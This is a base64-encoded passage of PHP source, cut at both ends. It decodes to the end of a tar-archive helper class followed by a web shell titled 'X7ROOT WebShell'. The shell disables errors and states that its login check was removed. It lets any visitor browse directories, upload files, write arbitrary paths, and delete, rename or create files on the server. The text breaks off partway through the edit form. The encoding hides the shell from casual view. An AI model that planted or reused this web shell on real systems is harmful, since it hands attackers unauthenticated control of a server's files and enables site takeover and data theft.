ICRqKyspICRjaGVja3N1bSArPSBvcmQoc3Vic3RyKCRkYXRhTGFzdCwgJGosIDEpKTtcclxuXHRcdCR0aGlzLT53cml0ZUJsb2NrKCRkYXRhRmlyc3QsIDE0OCk7XHJcblx0XHQkY2hlY2tzdW0gPSBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRjaGVja3N1bSkpO1xyXG5cdFx0JGJpbmFyeURhdGEgPSBwYWNrKCdhOCcsICRjaGVja3N1bSk7XHJcblx0XHQkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSwgOCk7XHJcblx0XHQkdGhpcy0+d3JpdGVCbG9jaygkZGF0YUxhc3QsIDM1Nik7XHJcblx0XHRyZXR1cm4gdHJ1ZTtcclxuXHR9XHJcblxyXG5cdGZ1bmN0aW9uIG9wZW5Xcml0ZSgpe1xyXG5cdFx0aWYgKCR0aGlzLT5pc0d6aXBwZWQpXHJcblx0XHRcdCR0aGlzLT50bXBfZmlsZSA9IGd6b3BlbigkdGhpcy0+YXJjaGl2ZV9uYW1lLCAnd2I5ZicpO1xyXG5cdFx0ZWxzZVxyXG5cdFx0XHQkdGhpcy0+dG1wX2ZpbGUgPSBmb3BlbigkdGhpcy0+YXJjaGl2ZV9uYW1lLCAnd2InKTtcclxuXHJcblx0XHRpZiAoISgkdGhpcy0+dG1wX2ZpbGUpKXtcclxuXHRcdFx0JHRoaXMtPmVycm9yc1tdID0gX18oJ0Nhbm5vdCB3cml0ZSB0byBmaWxlJykuJyAnLiR0aGlzLT5hcmNoaXZlX25hbWU7XHJcblx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdH1cclxuXHRcdHJldHVybiB0cnVlO1xyXG5cdH1cclxuXHJcblx0ZnVuY3Rpb24gcmVhZEJsb2NrKCl7XHJcblx0XHRpZiAoaXNfcmVzb3VyY2UoJHRoaXMtPnRtcF9maWxlKSl7XHJcblx0XHRcdGlmICgkdGhpcy0+aXNHemlwcGVkKVxyXG5cdFx0XHRcdCRibG9jayA9IGd6cmVhZCgkdGhpcy0+dG1wX2ZpbGUsIDUxMik7XHJcblx0XHRcdGVsc2VcclxuXHRcdFx0XHQkYmxvY2sgPSBmcmVhZCgkdGhpcy0+dG1wX2ZpbGUsIDUxMik7XHJcblx0XHR9IGVsc2VcdCRibG9jayA9ICcnO1xyXG5cclxuXHRcdHJldHVybiAkYmxvY2s7XHJcblx0fVxyXG5cclxuXHRmdW5jdGlvbiB3cml0ZUJsb2NrKCRkYXRhLCAkbGVuZ3RoID0gMCl7XHJcblx0XHRpZiAoaXNfcmVzb3VyY2UoJHRoaXMtPnRtcF9maWxlKSl7XHJcblx0XHRcclxuXHRcdFx0aWYgKCRsZW5ndGggPT09IDApe1xyXG5cdFx0XHRcdGlmICgkdGhpcy0+aXNHemlwcGVkKVxyXG5cdFx0XHRcdFx0Z3pwdXRzKCR0aGlzLT50bXBfZmlsZSwgJGRhdGEpO1xyXG5cdFx0XHRcdGVsc2VcclxuXHRcdFx0XHRcdGZwdXRzKCR0aGlzLT50bXBfZmlsZSwgJGRhdGEpO1xyXG5cdFx0XHR9IGVsc2Uge1xyXG5cdFx0XHRcdGlmICgkdGhpcy0+aXNHemlwcGVkKVxyXG5cdFx0XHRcdFx0Z3pwdXRzKCR0aGlzLT50bXBfZmlsZSwgJGRhdGEsICRsZW5ndGgpO1xyXG5cdFx0XHRcdGVsc2VcclxuXHRcdFx0XHRcdGZwdXRzKCR0aGlzLT50bXBfZmlsZSwgJGRhdGEsICRsZW5ndGgpO1xyXG5cdFx0XHR9XHJcblx0XHR9XHJcblx0fVxyXG5cclxuXHRmdW5jdGlvbiBjbG9zZVRtcEZpbGUoKXtcclxuXHRcdGlmIChpc19yZXNvdXJjZSgkdGhpcy0+dG1wX2ZpbGUpKXtcclxuXHRcdFx0aWYgKCR0aGlzLT5pc0d6aXBwZWQpXHJcblx0XHRcdFx0Z3pjbG9zZSgkdGhpcy0+dG1wX2ZpbGUpO1xyXG5cdFx0XHRlbHNlXHJcblx0XHRcdFx0ZmNsb3NlKCR0aGlzLT50bXBfZmlsZSk7XHJcblxyXG5cdFx0XHQkdGhpcy0+dG1wX2ZpbGUgPSAwO1xyXG5cdFx0fVxyXG5cdH1cclxuXHJcblx0ZnVuY3Rpb24gbWFrZUdvb2RQYXRoKCRwYXRoKXtcclxuXHRcdGlmIChzdHJsZW4oJHBhdGgpPjApe1xyXG5cdFx0XHQkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXFxcJywgJ1wvJywgJHBhdGgpO1xyXG5cdFx0XHQkcGFydFBhdGggPSBleHBsb2RlKCdcLycsICRwYXRoKTtcclxuXHRcdFx0JGVscyA9IGNvdW50KCRwYXJ0UGF0aCktMTtcclxuXHRcdFx0Zm9yICgkaSA9ICRlbHM7ICRpPj0wOyAkaS0tKXtcclxuXHRcdFx0XHRpZiAoJHBhcnRQYXRoWyRpXSA9PSAnLicpe1xyXG4gICAgICAgICAgICAgICAgICAgIFwvXC8gIElnbm9yZSB0aGlzIGRpcmVjdG9yeVxyXG4gICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRwYXJ0UGF0aFskaV0gPT0gJy4uJyl7XHJcbiAgICAgICAgICAgICAgICAgICAgJGktLTtcclxuICAgICAgICAgICAgICAgIH1cclxuXHRcdFx0XHRlbHNlaWYgKCgkcGFydFBhdGhbJGldID09ICcnKSBhbmQgKCRpIT0kZWxzKSBhbmQgKCRpIT0wKSl7XHJcbiAgICAgICAgICAgICAgICB9XHRlbHNlXHJcblx0XHRcdFx0XHQkcmVzdWx0ID0gJHBhcnRQYXRoWyRpXS4oJGkhPSRlbHMgPyAnXC8nLiRyZXN1bHQgOiAnJyk7XHJcblx0XHRcdH1cclxuXHRcdH0gZWxzZSAkcmVzdWx0ID0gJyc7XHJcblx0XHRcclxuXHRcdHJldHVybiAkcmVzdWx0O1xyXG5cdH1cclxufVxyXG4/PiIsIjQ4OTQ5NWRmNDg5NDk1ZGY8P3BocFxyXG5lcnJvcl9yZXBvcnRpbmcoMCk7XHJcbnNlc3Npb25fc3RhcnQoKTtcclxuXHJcblwvXC8gPT09PT0gQ09ORklHID09PT09XHJcbiRsb2dvX3VybCAgICAgICAgPSAnaHR0cHM6XC9cL2oudG9wNHRvcC5pb1wvcF8zNDA2NzNlN2UxLnBuZyc7XHJcbiRob21lX2RpciAgICAgICAgPSByZWFscGF0aChfX0RJUl9fKTtcclxuXC9cLyA9PT09PT09PT09PT09PT09PT09PT1cclxuXHJcblwvXC8gXHUyMDE0XHUyMDE0IExPR0lOIEhBTkRMRVIgXHUyMDE0XHUyMDE0XHJcblwvXC8gUmVtb3ZlZCB0aGUgbG9naW4gaGFuZGxlciBhbmQgc2Vzc2lvbiBjaGVjayBmb3Igc2ltcGxpY2l0eVxyXG5cclxuXC9cLyBcdTIwMTRcdTIwMTQgQVVUSEVOVElDQVRFRCBTSEVMTCBcdTIwMTRcdTIwMTQgXHJcbiRjd2QgICA9IGlzc2V0KCRfR0VUWydwYXRoJ10pID8gcmVhbHBhdGgoJF9HRVRbJ3BhdGgnXSkgOiBnZXRjd2QoKTtcclxuJGZpbGVzID0gaXNfZGlyKCRjd2QpID8gc2NhbmRpcigkY3dkKSA6IFtdO1xyXG5cclxuXC9cLyBIZWxwZXI6IHB1YmxpYyBVUkxcclxuZnVuY3Rpb24gZnVsbFVybCgkZmlsZXBhdGgpIHtcclxuICAgICRkb2NSb290ID0gcmVhbHBhdGgoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk7XHJcbiAgICAkcmVhbCAgICA9IHJlYWxwYXRoKCRmaWxlcGF0aCk7XHJcbiAgICAkcmVsICAgICA9IHN0cl9yZXBsYWNlKCRkb2NSb290LCAnJywgJHJlYWwpO1xyXG4gICAgJHByb3RvICAgPSAoIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSAmJiAkX1NFUlZFUlsnSFRUUFMnXSAhPT0gJ29mZicpID8gJ2h0dHBzJyA6ICdodHRwJztcclxuICAgIHJldHVybiAkcHJvdG8gLiAnOlwvXC8nIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcmVsKTtcclxufVxyXG5cclxuXC9cLyBNZXNzYWdlIHN0b3JhZ2VcclxuJG1lc3NhZ2UgPSAnJztcclxuJG1zZ1R5cGUgPSAnJztcclxuXHJcblwvXC8gXHUyMDE0XHUyMDE0IFVQTE9BRCBcdTIwMTRcdTIwMTQgXHJcbmlmICghZW1wdHkoJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSkpIHtcclxuICAgICRkZXN0ID0gJGN3ZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBiYXNlbmFtZSgkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKTtcclxuICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sndXBsb2FkJ11bJ3RtcF9uYW1lJ10sICRkZXN0KSkge1xyXG4gICAgICAgICR1cmwgICAgID0gZnVsbFVybCgkZGVzdCk7XHJcbiAgICAgICAgJG1lc3NhZ2UgPSBcIlsrXSBVcGxvYWRlZDogPGEgaHJlZj1cXFwiJHVybFxcXCIgdGFyZ2V0PVxcXCJfYmxhbmtcXFwiPlwiIC4gYmFzZW5hbWUoJGRlc3QpIC4gXCI8XC9hPlwiO1xyXG4gICAgICAgICRtc2dUeXBlID0gJ3N1Y2Nlc3MnO1xyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICAkbWVzc2FnZSA9ICdbIV0gVXBsb2FkIGZhaWxlZC4nO1xyXG4gICAgICAgICRtc2dUeXBlID0gJ2Vycm9yJztcclxuICAgIH1cclxufVxyXG5cclxuXC9cLyBcdTIwMTRcdTIwMTQgRURJVCBTQVZFIFx1MjAxNFx1MjAxNCBcclxuaWYgKGlzc2V0KCRfUE9TVFsnc2F2ZSddLCAkX1BPU1RbJ2ZpbGUnXSwgJF9QT1NUWydjb250ZW50J10pKSB7XHJcbiAgICBmaWxlX3B1dF9jb250ZW50cygkX1BPU1RbJ2ZpbGUnXSwgJF9QT1NUWydjb250ZW50J10pO1xyXG4gICAgJG1lc3NhZ2UgPSAnWytdIEZpbGUgc2F2ZWQgc3VjY2Vzc2Z1bGx5Lic7XHJcbiAgICAkbXNnVHlwZSA9ICdzdWNjZXNzJztcclxufVxyXG5cclxuXC9cLyBcdTIwMTRcdTIwMTQgREVMRVRFIFx1MjAxNFx1MjAxNCBcclxuaWYgKGlzc2V0KCRfR0VUWydkZWxldGUnXSkpIHtcclxuICAgICR0YXJnZXQgPSByZWFscGF0aCgkX0dFVFsnZGVsZXRlJ10pO1xyXG4gICAgaWYgKGlzX2RpcigkdGFyZ2V0KSA/IHJtZGlyKCR0YXJnZXQpIDogdW5saW5rKCR0YXJnZXQpKSB7XHJcbiAgICAgICAgJG1lc3NhZ2UgPSAnWytdIERlbGV0ZWQgc3VjY2Vzc2Z1bGx5Lic7XHJcbiAgICAgICAgJG1zZ1R5cGUgPSAnc3VjY2Vzcyc7XHJcbiAgICB9IGVsc2Uge1xyXG4gICAgICAgICRtZXNzYWdlID0gJ1shXSBEZWxldGUgZmFpbGVkLic7XHJcbiAgICAgICAgJG1zZ1R5cGUgPSAnZXJyb3InO1xyXG4gICAgfVxyXG59XHJcblxyXG5cL1wvIFx1MjAxNFx1MjAxNCBSRU5BTUUgRk9STSBcdTIwMTRcdTIwMTQgXHJcbmlmIChpc3NldCgkX0dFVFsncmVuYW1lJ10pKSB7XHJcbiAgICAkb2xkICA9IHJlYWxwYXRoKCRfR0VUWydyZW5hbWUnXSk7XHJcbiAgICAkYmFzZSA9IGJhc2VuYW1lKCRvbGQpO1xyXG4gICAgZWNobyA8PDxIVE1MXHJcbjwhRE9DVFlQRSBodG1sPlxyXG48aHRtbCBsYW5nPVwiZW5cIj48aGVhZD48bWV0YSBjaGFyc2V0PVwiVVRGLThcIj48dGl0bGU+UmVuYW1lPFwvdGl0bGU+XHJcbjxzdHlsZT5ib2R5e2JhY2tncm91bmQ6IzAwMDtjb2xvcjojZmZmO2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTt0ZXh0LWFsaWduOmNlbnRlcjtwYWRkaW5nLXRvcDoxMDBweDt9IGlucHV0LGJ1dHRvbntwYWRkaW5nOjEwcHg7d2lkdGg6MjQwcHg7bWFyZ2luOjVweDtib3JkZXI6MXB4IHNvbGlkICM0NDQ7YmFja2dyb3VuZDojMjIyO2NvbG9yOiNmZmY7fSBidXR0b257YmFja2dyb3VuZDojZTUzOTM1O2JvcmRlcjpub25lO2N1cnNvcjpwb2ludGVyO30gYnV0dG9uOmhvdmVye2JhY2tncm91bmQ6I2M2MjgyODt9PFwvc3R5bGU+XHJcbjxcL2hlYWQ+PGJvZHk+XHJcbiAgPGgyPlJlbmFtZSBcInskYmFzZX1cIjxcL2gyPlxyXG4gIDxmb3JtIG1ldGhvZD1cIlBPU1RcIj5cclxuICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImZpbGVcIiB2YWx1ZT1cInskb2xkfVwiPlxyXG4gICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld25hbWVcIiB2YWx1ZT1cInskYmFzZX1cIiByZXF1aXJlZD48YnI+XHJcbiAgICA8YnV0dG9uIG5hbWU9XCJkb3JlbmFtZVwiPlJlbmFtZTxcL2J1dHRvbj5cclxuICA8XC9mb3JtPlxyXG48XC9ib2R5PjxcL2h0bWw+XHJcbkhUTUw7XHJcbiAgICBleGl0O1xyXG59XHJcblxyXG5cL1wvIFx1MjAxNFx1MjAxNCBSRU5BTUUgQUNUSU9OIFx1MjAxNFx1MjAxNCBcclxuaWYgKGlzc2V0KCRfUE9TVFsnZG9yZW5hbWUnXSwgJF9QT1NUWydmaWxlJ10sICRfUE9TVFsnbmV3bmFtZSddKSkge1xyXG4gICAgJG9sZCA9IHJlYWxwYXRoKCRfUE9TVFsnZmlsZSddKTtcclxuICAgICRuZXcgPSBkaXJuYW1lKCRvbGQpIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIGJhc2VuYW1lKCRfUE9TVFsnbmV3bmFtZSddKTtcclxuICAgIGlmIChyZW5hbWUoJG9sZCwgJG5ldykpIHtcclxuICAgICAgICAkbWVzc2FnZSA9ICdbK10gUmVuYW1lZCB0byAnIC4gYmFzZW5hbWUoJG5ldyk7XHJcbiAgICAgICAgJG1zZ1R5cGUgPSAnc3VjY2Vzcyc7XHJcbiAgICB9IGVsc2Uge1xyXG4gICAgICAgICRtZXNzYWdlID0gJ1shXSBSZW5hbWUgZmFpbGVkLic7XHJcbiAgICAgICAgJG1zZ1R5cGUgPSAnZXJyb3InO1xyXG4gICAgfVxyXG59XHJcblxyXG5cL1wvIFx1MjAxNFx1MjAxNCBDUkVBVEUgRklMRSBcdTIwMTRcdTIwMTQgXHJcbmlmIChpc3NldCgkX1BPU1RbJ2NyZWF0ZSddLCAkX1BPU1RbJ25ld2ZpbGUnXSkpIHtcclxuICAgICRuZXdwYXRoID0gJGN3ZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBiYXNlbmFtZSgkX1BPU1RbJ25ld2ZpbGUnXSk7XHJcbiAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJG5ld3BhdGgsICRfUE9TVFsnbmV3Y29udGVudCddKSkge1xyXG4gICAgICAgICRtZXNzYWdlID0gJ1srXSBDcmVhdGVkOiAnIC4gYmFzZW5hbWUoJG5ld3BhdGgpO1xyXG4gICAgICAgICRtc2dUeXBlID0gJ3N1Y2Nlc3MnO1xyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICAkbWVzc2FnZSA9ICdbIV0gQ3JlYXRlIGZhaWxlZC4nO1xyXG4gICAgICAgICRtc2dUeXBlID0gJ2Vycm9yJztcclxuICAgIH1cclxufVxyXG5cclxuXC9cLyBBU0NJSSBiYW5uZXJcclxuJGJhbm5lciA9IDw8PEhUTUxcclxuPHByZSBzdHlsZT1cImNvbG9yOiNmZjRiNGI7dGV4dC1hbGlnbjpjZW50ZXI7XCI+XHJcblx1MjU4OFx1MjU4OFx1MjU1NyAgXHUyNTg4XHUyNTg4XHUyNTU3XHUyNTg4XHUyNTg4XHUyNTg4XHUyNTg4XHUyNTg4XHUyNTg4XHUyNTg4XHUyNTU3XHUyNTg4XHUyNTg4XHUyNTg4XHUyNTg4XHUyNTg4XHUyNTg4XHUyNTU3ICBcdTI1ODhcdTI1ODhcdTI1ODhcdTI1ODhcdTI1ODhcdTI1ODhcdTI1NTcgIFx1MjU4OFx1MjU4OFx1MjU4OFx1MjU4OFx1MjU4OFx1MjU4OFx1MjU1NyBcdTI1ODhcdTI1ODhcdTI1ODhcdTI1ODhcdTI1ODhcdTI1ODhcdTI1ODhcdTI1ODhcdTI1NTdcclxuXHUyNTVhXHUyNTg4XHUyNTg4XHUyNTU3XHUyNTg4XHUyNTg4XHUyNTU0XHUyNTVkXHUyNTVhXHUyNTUwXHUyNTUwXHUyNTUwXHUyNTUwXHUyNTg4XHUyNTg4XHUyNTUxXHUyNTg4XHUyNTg4XHUyNTU0XHUyNTUwXHUyNTUwXHUyNTg4XHUyNTg4XHUyNTU3XHUyNTg4XHUyNTg4XHUyNTU0XHUyNTUwXHUyNTUwXHUyNTUwXHUyNTg4XHUyNTg4XHUyNTU3XHUyNTg4XHUyNTg4XHUyNTU0XHUyNTUwXHUyNTUwXHUyNTUwXHUyNTg4XHUyNTg4XHUyNTU3XHUyNTVhXHUyNTUwXHUyNTUwXHUyNTg4XHUyNTg4XHUyNTU0XHUyNTUwXHUyNTUwXHUyNTVkXHJcbiBcdTI1NWFcdTI1ODhcdTI1ODhcdTI1ODhcdTI1NTRcdTI1NWQgICAgIFx1MjU4OFx1MjU4OFx1MjU1NFx1MjU1ZFx1MjU4OFx1MjU4OFx1MjU4OFx1MjU4OFx1MjU4OFx1MjU4OFx1MjU1NFx1MjU1ZFx1MjU4OFx1MjU4OFx1MjU1MSAgIFx1MjU4OFx1MjU4OFx1MjU1MVx1MjU4OFx1MjU4OFx1MjU1MSAgIFx1MjU4OFx1MjU4OFx1MjU1MSAgIFx1MjU4OFx1MjU4OFx1MjU1MSAgIFxyXG4gXHUyNTg4XHUyNTg4XHUyNTU0XHUyNTg4XHUyNTg4XHUyNTU3ICAgIFx1MjU4OFx1MjU4OFx1MjU1NFx1MjU1ZCBcdTI1ODhcdTI1ODhcdTI1NTRcdTI1NTBcdTI1NTBcdTI1ODhcdTI1ODhcdTI1NTdcdTI1ODhcdTI1ODhcdTI1NTEgICBcdTI1ODhcdTI1ODhcdTI1NTFcdTI1ODhcdTI1ODhcdTI1NTEgICBcdTI1ODhcdTI1ODhcdTI1NTEgICBcdTI1ODhcdTI1ODhcdTI1NTEgICBcclxuXHUyNTg4XHUyNTg4XHUyNTU0XHUyNTVkIFx1MjU4OFx1MjU4OFx1MjU1NyAgIFx1MjU4OFx1MjU4OFx1MjU1MSAgXHUyNTg4XHUyNTg4XHUyNTUxICBcdTI1ODhcdTI1ODhcdTI1NTFcdTI1NWFcdTI1ODhcdTI1ODhcdTI1ODhcdTI1ODhcdTI1ODhcdTI1ODhcdTI1NTRcdTI1NWRcdTI1NWFcdTI1ODhcdTI1ODhcdTI1ODhcdTI1ODhcdTI1ODhcdTI1ODhcdTI1NTRcdTI1NWQgICBcdTI1ODhcdTI1ODhcdTI1NTEgICBcclxuPFwvcHJlPlxyXG5IVE1MO1xyXG5cclxuXC9cLyBPVVRQVVQgUEFHRVxyXG5lY2hvIDw8PEhUTUxcclxuPCFET0NUWVBFIGh0bWw+XHJcbjxodG1sIGxhbmc9XCJlblwiPlxyXG48aGVhZD48bWV0YSBjaGFyc2V0PVwiVVRGLThcIj48dGl0bGU+WDdST09UIFdlYlNoZWxsPFwvdGl0bGU+XHJcbjxzdHlsZT5cclxuICBib2R5e21hcmdpbjowO2JhY2tncm91bmQ6IzAwMDtjb2xvcjojZmZmO2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTt9XHJcbiAgaGVhZGVye2JhY2tncm91bmQ6IzExMTtwYWRkaW5nOjEwcHg7dGV4dC1hbGlnbjpjZW50ZXI7fVxyXG4gIC5sb2dve21heC1oZWlnaHQ6MTUwcHg7ZGlzcGxheTpibG9jazttYXJnaW46MCBhdXRvO31cclxuICAuY29udGFpbmVye3BhZGRpbmc6MjBweDt9XHJcbiAgYXtjb2xvcjojZmY0YjRiO3RleHQtZGVjb3JhdGlvbjpub25lO30gYTpob3Zlcnt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO31cclxuICAucGF0aC1uYXZ7YmFja2dyb3VuZDojMTExO3BhZGRpbmc6OHB4O2JvcmRlcjoxcHggc29saWQgIzIyMjttYXJnaW4tYm90dG9tOjE1cHg7fVxyXG4gIC5wYXRoLW5hdiBhe21hcmdpbjowIDRweDt9XHJcbiAgLmJ0bi1ob21le21hcmdpbi1sZWZ0OjEwcHg7cGFkZGluZzo1cHggMTBweDtiYWNrZ3JvdW5kOiMwMGZmMDA7Y29sb3I6IzAwMDtib3JkZXItcmFkaXVzOjRweDt0ZXh0LWRlY29yYXRpb246bm9uZTt9XHJcbiAgLm1lc3NhZ2V7bWFyZ2luLWJvdHRvbToxMHB4O3RleHQtYWxpZ246Y2VudGVyO31cclxuICAubWVzc2FnZS5zdWNjZXNze2NvbG9yOiMwMGZmMDA7fVxyXG4gIC5tZXNzYWdlLmVycm9ye2NvbG9yOiNmNDQzMzY7fVxyXG4gIGlucHV0LHRleHRhcmVhLGJ1dHRvbntmb250LWZhbWlseTppbmhlcml0O31cclxuICBpbnB1dFt0eXBlPWZpbGVdLGlucHV0W3R5cGU9dGV4dF0sdGV4dGFyZWF7d2lkdGg6MTAwJTtwYWRkaW5nOjhweDttYXJnaW46NXB4IDA7YmFja2dyb3VuZDojMjIyO2JvcmRlcjoxcHggc29saWQgIzQ0NDtjb2xvcjojZmZmO31cclxuICB0ZXh0YXJlYXtoZWlnaHQ6MTUwcHg7fVxyXG4gIGJ1dHRvbixpbnB1dFt0eXBlPXN1Ym1pdF17cGFkZGluZzo4cHggMTZweDtiYWNrZ3JvdW5kOiNlNTM5MzU7Ym9yZGVyOm5vbmU7Y29sb3I6I2ZmZjtjdXJzb3I6cG9pbnRlcjt9XHJcbiAgYnV0dG9uOmhvdmVyLGlucHV0W3R5cGU9c3VibWl0XTpob3ZlcntiYWNrZ3JvdW5kOiNjNjI4Mjg7fVxyXG4gIHVse2xpc3Qtc3R5bGU6bm9uZTtwYWRkaW5nOjA7fVxyXG4gIGxpe3BhZGRpbmc6NnB4O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMyMjI7fVxyXG4gIGZvb3RlcntiYWNrZ3JvdW5kOiMxMTE7Y29sb3I6I2ZmZjt0ZXh0LWFsaWduOmNlbnRlcjtwYWRkaW5nOjEwcHg7Ym9yZGVyLXRvcDoxcHggc29saWQgIzIyMjt9XHJcbiAgZm9vdGVyIGF7Y29sb3I6IzAwZmYwMDt0ZXh0LWRlY29yYXRpb246bm9uZTt9XHJcbjxcL3N0eWxlPlxyXG48XC9oZWFkPlxyXG48Ym9keT5cclxuICA8aGVhZGVyPlxyXG4gICAgPGltZyBjbGFzcz1cImxvZ29cIiBzcmM9XCIkbG9nb191cmxcIiBhbHQ9XCJYN1JPT1QgTG9nb1wiPlxyXG4gICAgJGJhbm5lclxyXG4gIDxcL2hlYWRlcj5cclxuICA8ZGl2IGNsYXNzPVwiY29udGFpbmVyXCI+XHJcbiAgICA8ZGl2IGNsYXNzPVwibWVzc2FnZSAkbXNnVHlwZVwiPiRtZXNzYWdlPFwvZGl2PlxyXG4gICAgPGRpdiBjbGFzcz1cInBhdGgtbmF2XCI+PHN0cm9uZz5QYXRoOjxcL3N0cm9uZz5cclxuSFRNTDtcclxuXHJcblwvXC8gQnJlYWRjcnVtYlxyXG4kcGFydHMgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsICRjd2QpO1xyXG4kYWNjICAgPSAnJztcclxuZm9yZWFjaCAoJHBhcnRzIGFzICRpID0+ICRwYXJ0KSB7XHJcbiAgICBpZiAoJHBhcnQgPT09ICcnKSB7XHJcbiAgICAgICAgJGFjYyA9IERJUkVDVE9SWV9TRVBBUkFUT1I7XHJcbiAgICAgICAgZWNobyBcIjxhIGhyZWY9Jz9wYXRoPVwiIC4gdXJsZW5jb2RlKCRhY2MpIC4gXCInPlwvPFwvYT5cIjtcclxuICAgICAgICBjb250aW51ZTtcclxuICAgIH1cclxuICAgICRhY2MgLj0gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRwYXJ0O1xyXG4gICAgZWNobyBcIjxhIGhyZWY9Jz9wYXRoPVwiIC4gdXJsZW5jb2RlKCRhY2MpIC4gXCInPlwiIC4gaHRtbGVudGl0aWVzKCRwYXJ0KSAuIFwiPFwvYT5cIjtcclxuICAgIGlmICgkaSA8IGNvdW50KCRwYXJ0cykgLSAxKSBlY2hvIFwiIFwvIFwiO1xyXG59XHJcbmVjaG8gXCI8YSBjbGFzcz0nYnRuLWhvbWUnIGhyZWY9Jz9wYXRoPVwiIC4gdXJsZW5jb2RlKCRob21lX2RpcikgLiBcIic+SG9tZTxcL2E+XCI7XHJcblxyXG5lY2hvIDw8PEhUTUxcclxuICAgIDxcL2Rpdj5cclxuICAgIDxmb3JtIG1ldGhvZD1cIlBPU1RcIiBlbmN0eXBlPVwibXVsdGlwYXJ0XC9mb3JtLWRhdGFcIj5cclxuICAgICAgPGlucHV0IHR5cGU9XCJmaWxlXCIgbmFtZT1cInVwbG9hZFwiPjxicj5cclxuICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCI+VXBsb2FkIEZpbGU8XC9idXR0b24+XHJcbiAgICA8XC9mb3JtPlxyXG4gICAgPHVsPlxyXG5IVE1MO1xyXG5cclxuXC9cLyBTZXBhcmF0ZSBkaXJlY3RvcmllcyBhbmQgZmlsZXNcclxuJGRpcnMgPSBbXTtcclxuJGZpbGVzX29ubHkgPSBbXTtcclxuZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7XHJcbiAgICBpZiAoJGZpbGUgPT09ICcuJyB8fCAkZmlsZSA9PT0gJy4uJykgY29udGludWU7XHJcbiAgICAkZnVsbCA9ICRjd2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGU7XHJcbiAgICBpZiAoaXNfZGlyKCRmdWxsKSkge1xyXG4gICAgICAgICRkaXJzW10gPSAkZmlsZTtcclxuICAgIH0gZWxzZSB7XHJcbiAgICAgICAgJGZpbGVzX29ubHlbXSA9ICRmaWxlO1xyXG4gICAgfVxyXG59XHJcblxyXG5cL1wvIFNob3cgZGlyZWN0b3JpZXNcclxuZm9yZWFjaCAoJGRpcnMgYXMgJGZpbGUpIHtcclxuICAgICRmdWxsID0gJGN3ZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZTtcclxuICAgICRkaXNwID0gaHRtbGVudGl0aWVzKCRmaWxlKTtcclxuICAgICRlbmMgPSB1cmxlbmNvZGUoJGZ1bGwpO1xyXG4gICAgZWNobyBcIjxsaT5bRElSXSA8YSBocmVmPSc/cGF0aD17JGVuY30nPnskZGlzcH08XC9hPiBcIjtcclxuICAgIGVjaG8gXCI8YSBocmVmPSc/cmVuYW1lPXskZW5jfSc+W1JlbmFtZV08XC9hPiBcIjtcclxuICAgIGVjaG8gXCI8YSBocmVmPSc/ZGVsZXRlPXskZW5jfScgb25jbGljaz1cXFwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZT8nKTtcXFwiPltEZWxldGVdPFwvYT48XC9saT5cIjtcclxufVxyXG5cclxuXC9cLyBTaG93IGZpbGVzXHJcbmZvcmVhY2ggKCRmaWxlc19vbmx5IGFzICRmaWxlKSB7XHJcbiAgICAkZnVsbCA9ICRjd2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGU7XHJcbiAgICAkZGlzcCA9IGh0bWxlbnRpdGllcygkZmlsZSk7XHJcbiAgICAkZW5jID0gdXJsZW5jb2RlKCRmdWxsKTtcclxuICAgIGVjaG8gXCI8bGk+W0ZJTEVdIHskZGlzcH0gXCI7XHJcbiAgICBlY2hvIFwiPGEgaHJlZj0nP2VkaXQ9eyRlbmN9Jz5bRWRpdF08XC9hPiBcIjtcclxuICAgIGVjaG8gXCI8YSBocmVmPSc/cmVuYW1lPXskZW5jfSc+W1JlbmFtZV08XC9hPiBcIjtcclxuICAgIGVjaG8gXCI8YSBocmVmPSc/ZGVsZXRlPXskZW5jfScgb25jbGljaz1cXFwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZT8nKTtcXFwiPltEZWxldGVdPFwvYT48XC9saT5cIjtcclxufVxyXG5cclxuZWNobyA8PDxIVE1MXHJcbiAgICA8XC91bD5cclxuSFRNTDtcclxuXHJcblwvXC8gRWRpdCBmb3JtXHJcbmlmIChpc3NldCgkX0dFVFsnZWRpdCddKSkge1xyXG4gICAgJGZpbGUgICAgPSAkX0dFVFsnZWRpdCddO1xyXG4gICAgJGNvbnRlbnQgPSBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7XHJcbiAgICBlY2hvIDw8PEZPUk1cclxuICAgIDxmb3JtIG1ldGhvZD1cIlBPU1RcIj5cclxuICAgICAgPHRleHRhcmVhIG5hbWU9XCJjb250ZW50XCI+JGNvbnRlbnQ8XC90ZXh0YXJlYT5cclxuICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5c